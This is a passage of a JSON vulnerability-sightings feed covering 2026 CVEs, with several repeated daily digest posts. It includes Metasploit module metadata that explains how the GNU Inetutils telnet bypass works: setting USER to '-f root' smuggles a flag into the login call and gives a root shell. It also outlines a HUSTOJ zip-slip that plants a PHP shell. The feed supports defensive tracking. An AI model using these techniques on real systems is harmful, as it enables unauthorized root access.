"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/hacking_Attack/179409", "content": "A deep dive into the 9.8 CVSS authentication bypass in GNU Inetutils that\u2019s currently being exploited in the wild.Continue reading on Medium \u00bb (https://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:01:06.666972Z"}, {"uuid": "32be5e88-7396-4b20-9f27-4d5684d693ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/179407", "content": "How CVE-2026\u201324061 Grants Instant Root via Telnet\nhttps://medium.com/@mhammadalkhateeb22/how-cve-2026-24061-grants-instant-root-via-telnet-ad49019572e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:01:06.721967Z"}, {"uuid": "51500cef-2b51-49aa-9e6a-0f3771330e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24127", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/178785", "content": "My personal journey from boredom to discovering attack patterns through patch analysis of CVE-2026\u201324127Continue reading on Medium \u00bb (https://medium.com/@abisheikmagesh/from-patch-to-pwn-reverse-engineering-cve-2026-24127-in-a-night-6956a5aae76e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:01:06.836916Z"}, {"uuid": "25c7ea09-8809-439a-9dd7-7138d07471c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24480", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101110", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a gha-lab-b16a4f3554\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pvharmo2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-04 15:52:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity-research lab: CVE-2026-24480 pull_request_target pre-commit RCE in qgis/QGIS (snapshot at vulnerable commit)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-04T17:00:06.248352Z"}, {"uuid": "8c6b3207-0475-4b5b-ac49-d3a3beca6172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24480", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101110", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a gha-lab-b16a4f3554\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pvharmo2\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-04 15:52:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity-research lab: CVE-2026-24480 pull_request_target pre-commit RCE in qgis/QGIS (snapshot at vulnerable commit)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-05T01:00:22.378453Z"}, {"uuid": "ff1c4f4c-d2cc-45db-9308-ddf17998c0d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24254", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3muqj7pbtks2b", "content": "\u300cNVIDIA Dynamo\u300d\u306b\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u542b\u3080\u8907\u6570\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u304c\u516c\u958b\n\n\u30de\u30eb\u30c1\u30e2\u30fc\u30c0\u30eb\u30c7\u30fc\u30bf\u3092\u6271\u3046\u30b5\u30fc\u30d3\u30f3\u30b0\u6a5f\u80fd\u3092\u63d0\u4f9b\u3059\u308bLinux\u5411\u3051\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u300cNVIDIA Dynamo\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u63d0\u4f9b\u3055\u308c\u3066\u3044\u308b\u3002\n\nNVIDIA\u304c\u73fe\u5730\u6642\u95932026\u5e748\u67084\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u305f\u3082\u306e\u3002\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u3088\u3063\u3066\u5f71\u97ff\u3092\u53d7\u3051\u308b\u8106\u5f31\u6027\u304c\u7570\u306a\u308b\u304c\u3001CVE\u30d9\u30fc\u30b9\u3067\u3042\u308f\u305b\u306615\u4ef6\u306e\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3068\u3044\u3046\u3002\n\n\u306a\u304b\u3067\u3082\u30de\u30eb\u30c1\u30e2\u30fc\u30c0\u30eb\u30b5\u30fc\u30d3\u30f3\u30b0\u30c8\u30dd\u30ed\u30b8\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u300cCVE-2026-24254\u300d\u306f\u3001\u5883\u754c\u5916\u66f8\u304d\u8fbc\u307f\u3092\u5f15\u304d\u8d77\u3053\u3059\u3082\u306e\u3067\u3001\u8a8d\u8a3c\u306a\u3057\u306b\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u653b\u6483\u304c\u53ef...", "creation_timestamp": "2026-09-05T03:15:18.212362Z"}, {"uuid": "d6fc8dff-633c-42c5-9214-b8c27c84d981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24480", "type": "seen", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-05T07:00:03.885620Z"}, {"uuid": "d107d837-6df6-4990-82ad-f31a7876f2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-04)", "content": "", "creation_timestamp": "2026-09-05T10:15:36.637993Z"}, {"uuid": "c6d50e35-28e2-4bd5-b467-2d927a079eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24480", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-06T00:00:53.649047Z"}, {"uuid": "45e55bf6-c077-4887-b8ca-6e68313a53e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://t.me/hacking_Attack/192742", "content": "BAS-Guardian \u2014 Updated!\n\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\nRead more...", "creation_timestamp": "2026-09-06T14:00:05.086062Z"}, {"uuid": "c7e5b76e-b0f4-4708-b3e2-585fc04d7a62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://t.me/hacking_Attack/192742", "content": "BAS-Guardian \u2014 Updated!\n\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\nRead more...", "creation_timestamp": "2026-09-07T01:00:12.821711Z"}, {"uuid": "cb1c902b-e73f-49c4-8805-4170450c19c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/zTLWDTjI8aNlfNOrqRvaLcWsOXCWe-z-FjDbmO4DXVBEXpo", "content": "", "creation_timestamp": "2026-09-07T08:00:04.807099Z"}, {"uuid": "c39ecd2c-42c9-4161-8c80-271bf1e5d417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "published-proof-of-concept", "source": "Telegram/zTLWDTjI8aNlfNOrqRvaLcWsOXCWe-z-FjDbmO4DXVBEXpo", "content": "", "creation_timestamp": "2026-09-08T00:00:52.357447Z"}, {"uuid": "b0e13ce3-ee8c-4fd1-bbd9-fc4b07265ace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24479", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/hustoj_problem_import_rce.rb", "content": "{\"aliases\": [], \"arch\": \"x64\", \"author\": [\"oxagast\", \"LoTuS and friends\", \"ling101w\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"A user with administrative privileges can abuse the problem_import_qduoj.php CGI script\\nusing a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the\\nwebroot, where they can extract a PHP file that spawns a shell to get full RCE in the\\ncontext of the webserver.\", \"disclosure_date\": \"2026-01-26\", \"fullname\": \"exploit/linux/http/hustoj_problem_import_rce\", \"is_install_path\": true, \"mod_time\": \"2026-06-02 10:32:30 +0000\", \"name\": \"HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/hustoj_problem_import_rce.rb\", \"platform\": \"Linux\", \"post_auth\": true, \"rank\": 500, \"ref_name\": \"linux/http/hustoj_problem_import_rce\", \"references\": [\"URL-https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits/CVE-2026-24479/hustoj_problem_import_rce.rb\", \"URL-https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d4236899314b33101f\", \"URL-https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj\", \"CVE-2026-24479\", \"EDB-52539\", \"CWE-22\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Auto\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:37.751142Z"}, {"uuid": "ce50b005-16b8-4310-8dad-38728bed7c0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/telnet/gnu_inetutils_auth_bypass.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"jheysel-r7\", \"Kyu Neushwaistein\"], \"autofilter_ports\": [23], \"autofilter_services\": [\"telnet\"], \"check\": false, \"default_credential\": false, \"description\": \"The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in\\n          versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which\\n          allows for the exchange of sub-option parameters after both parties have agreed to enable a specific functional option.\\n          Environment variables can be sent as sub-options and it's the USER environment variable which introduces the\\n          authentication bypass in this scenario. When the USER environment variable gets sent to the GNU inetutils telnetd\\n          service during authentication, the variable gets appended without proper sanitization to an execv call to the\\n          /usr/bin/login binary. The login binary has a -f flag which skips authentication for a specific user. So the exploit\\n          sets the `USER` environment variable to -f root and the telnetd service responds with a root shell.\", \"disclosure_date\": \"2026-01-26\", \"fullname\": \"exploit/linux/telnet/gnu_inetutils_auth_bypass\", \"is_install_path\": true, \"mod_time\": \"2026-06-02 10:32:30 +0000\", \"name\": \"GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unreliable-session\"], \"SideEffects\": [], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/telnet/gnu_inetutils_auth_bypass.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 500, \"ref_name\": \"linux/telnet/gnu_inetutils_auth_bypass\", \"references\": [\"CVE-2026-24061\", \"EDB-52524\", \"URL-https://github.com/DeadlyHollows/CVE-2026-24061-setup\", \"URL-https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/\", \"ATT&CK-T1021\"], \"rport\": 23, \"session_types\": false, \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:25.908439Z"}, {"uuid": "90c50d18-a728-446e-87cd-cee89f60819d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mv36vr7rcq2y", "content": "CVE-2026-24120 - vm2\nAn outdated version of the vm2 sandbox for Node.js can be tricked into allowing malicious code to break free and run commands on the host computer. This is fixed in version\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#vm2 #GitHubActions #npm #CVE #infosec", "creation_timestamp": "2026-09-09T09:10:04.148468Z"}, {"uuid": "49663674-6e76-4a83-bcc1-8150000dc9b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24516", "type": "seen", "source": "https://bsky.app/profile/anmolsinghrajput.bsky.social/post/3mv7z5gfnxv2i", "content": "\ud83d\udd10 Security Researcher | Bug Bounty Hunter\nFinding critical vulns in real-world systems \u2014 including a CVSS 10.0 RCE in DigitalOcean's Droplet Agent (CVE-2026-24516)\nCPENT | KLCP certified | Speaker @ HTB Mumbai\nMumbai, India \ud83c\uddee\ud83c\uddf3", "creation_timestamp": "2026-09-11T07:10:17.621500Z"}, {"uuid": "b1ab875b-bd0a-4bbb-81d7-fc16add1ae7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2465", "type": "seen", "source": "https://t.me/shimiscyberworld/1424", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-12\n\n\ud83d\udcca 99 vulnerabilities detected today \u2014 33 \ud83d\udd34 Critical, 66 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42869 (10) \u2014 CVE-2026-42869: SOCFortress CoPilot Critical Auth Bypass\n  \u2022 CVE-2026-29204 (10) \u2014 CVE-2026-29204: Critical Client Area Vulnerability Exposes\u2026\n  \u2022 CVE-2026-42823 (9.9) \u2014 CVE-2026-42823: Critical Privilege Escalation in Azure\u2026\n  \u2022 CVE-2026-42898 (9.9) \u2014 Microsoft Dynamics 365 On-Premises Critical Code Injection\u2026\n  \u2022 CVE-2025-6577 (9.8) \u2014 Akilli Commerce E-Commerce Website SQLi Vulnerability\u2026\n  \u2022 CVE-2026-43992 (9.8) \u2014 CVE-2026-43992: JunoClaw AI Exposes BIP-39 Seeds in Tool\u2026\n  \u2022 CVE-2026-26083 (9.8) \u2014 Fortinet FortiSandbox Critical RCE: Unauthenticated\u2026\n  \u2022 CVE-2026-41089 (9.8) \u2014 CVE-2026-41089: Critical Netlogon RCE Threatens Windows\u2026\n  \u2026 and 25 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2026-41489 (8.8) \u2014 Pi-hole Privilege Escalation via Systemd Scripts\u2026\n  \u2022 CVE-2026-7256 (8.8) \u2014 Zyxel WRE6505 v2: High-Severity Command Injection\u2026\n  \u2022 CVE-2026-6001 (8.8) \u2014 CVE-2026-6001: ABIS BAPS\u0130S Authorization Bypass Exposes\u2026\n  \u2022 CVE-2026-2465 (8.8) \u2014 Turboard FOR-S Privilege Escalation via Incorrect\u2026\n  \u2022 CVE-2026-43937 (8.8) \u2014 YetAnotherForum.NET Vulnerability Allows Arbitrary SQL\u2026\n  \u2022 CVE-2026-8111 (8.8) \u2014 Ivanti Endpoint Manager RCE via SQL Injection\u2026\n  \u2022 CVE-2026-23819 (8.8) \u2014 AOS-10/AOS-8 Instant AP Vulnerability Allows Remote Code\u2026\n  \u2022 CVE-2026-8429 (8.8) \u2014 SPIP RCE Vulnerability (CVE-2026-8429) Bypasses Security\u2026\n  \u2022 CVE-2026-43888 (8.7) \u2014 Outline Service Vulnerability CVE-2026-43888 Allows\u2026\n  \u2022 CVE-2026-43912 (8.7) \u2014 Vaultwarden CVE-2026-43912 Allows Org Data Access via Group\u2026\n  \u2026 and 56 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:06.274850Z"}, {"uuid": "e99440f1-081b-4efb-b8da-81285598a23f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24781", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:16.958101Z"}, {"uuid": "26649b92-6ef2-4707-9d9f-3ddb3cd3c82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in Intel Bot \u2192\n\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83c\udf10 @shimiscyberworld \u00b7 shimiscyberworld.com", "creation_timestamp": "2026-09-12T10:00:16.998684Z"}, {"uuid": "ce2cbb78-0a46-41b1-a76a-0d879e7a6db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://t.me/shimiscyberworld/1197", "content": "\ud83d\udee1\ufe0f SCW \u2502 Daily Vulnerability Digest\n\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\n\ud83d\udcc5 2026-05-04\n\n\ud83d\udcca 31 vulnerabilities detected today \u2014 20 \ud83d\udd34 Critical, 11 \ud83d\udd34 High\n\n\ud83d\udd34 CRITICAL\n  \u2022 CVE-2026-42809 (9.9) \u2014 CVE-2026-42809: Apache Polaris Critical Credential\u2026\n  \u2022 CVE-2026-42810 (9.9) \u2014 CVE-2026-42810: Apache Polaris S3 Wildcard Vulnerability\u2026\n  \u2022 CVE-2026-42811 (9.9) \u2014 CVE-2026-42811: Apache Polaris Credential Bypass Exposes\u2026\n  \u2022 CVE-2026-42812 (9.9) \u2014 Apache Iceberg CVE-2026-42812 Bypasses Metadata Location\u2026\n  \u2022 CVE-2026-24118 (9.8) \u2014 VM2 Sandbox Breakout Vulnerability: Critical Flaw Exposes\u2026\n  \u2022 CVE-2026-24120 (9.8) \u2014 CVE-2026-24120: vm2 Sandbox Escape Allows Host Command\u2026\n  \u2022 CVE-2026-24781 (9.8) \u2014 VM2 Sandbox Escape Vulnerability (CVE-2026-24781) Exposes\u2026\n  \u2022 CVE-2026-26332 (9.8) \u2014 vm2 Sandbox Escape (CVE-2026-26332) Exposes Node.js Apps to\u2026\n  \u2026 and 12 more\n\n\ud83d\udd34 HIGH\n  \u2022 CVE-2025-58074 (8.8) \u2014 Norton Secure VPN Privilege Escalation via Microsoft Store\u2026\n  \u2022 CVE-2026-6266 (8.3) \u2014 CVE-2026-6266: AAP Gateway Email Auto-Link Flaw Allows\u2026\n  \u2022 CVE-2026-29004 (8.1) \u2014 BusyBox udhcpc6 Heap Overflow (CVE-2026-29004) Exposes\u2026\n  \u2022 CVE-2026-42084 (8.1) \u2014 CVE-2026-42084: OpenC3 COSMOS Allows Password Change\u2026\n  \u2022 CVE-2026-32834 (7.5) \u2014 CVE-2026-32834: WordPress Easy PayPal Plugin Authentication\u2026\n  \u2022 CVE-2026-41471 (7.5) \u2014 CVE-2026-41471: PayPal Events WordPress Plugin Exposes All\u2026\n  \u2022 CVE-2026-25863 (7.5) \u2014 CVE-2026-25863: WordPress Plugin DoS Vulnerability Hits\u2026\n  \u2022 CVE-2026-42151 (7.5) \u2014 Prometheus Azure AD OAuth Secret Exposed via Plaintext\u2026\n  \u2022 CVE-2026-42154 (7.5) \u2014 Prometheus CVE-2026-42154: Unauthenticated Memory\u2026\n  \u2022 CVE-2026-3120 (7.2) \u2014 SambaBox CVE-2026-3120: High-Severity OS Command Injection\n  \u2026 and 1 more\n\n\ud83d\udcd6 View all vulnerabilities \u2192\n\n\ud83c\udfaf Need SIEM rules for these threats?\nGenerate detection rules for Splunk, Sentinel, QRadar & more \u2014 tailored per breach\nOpen /detect in 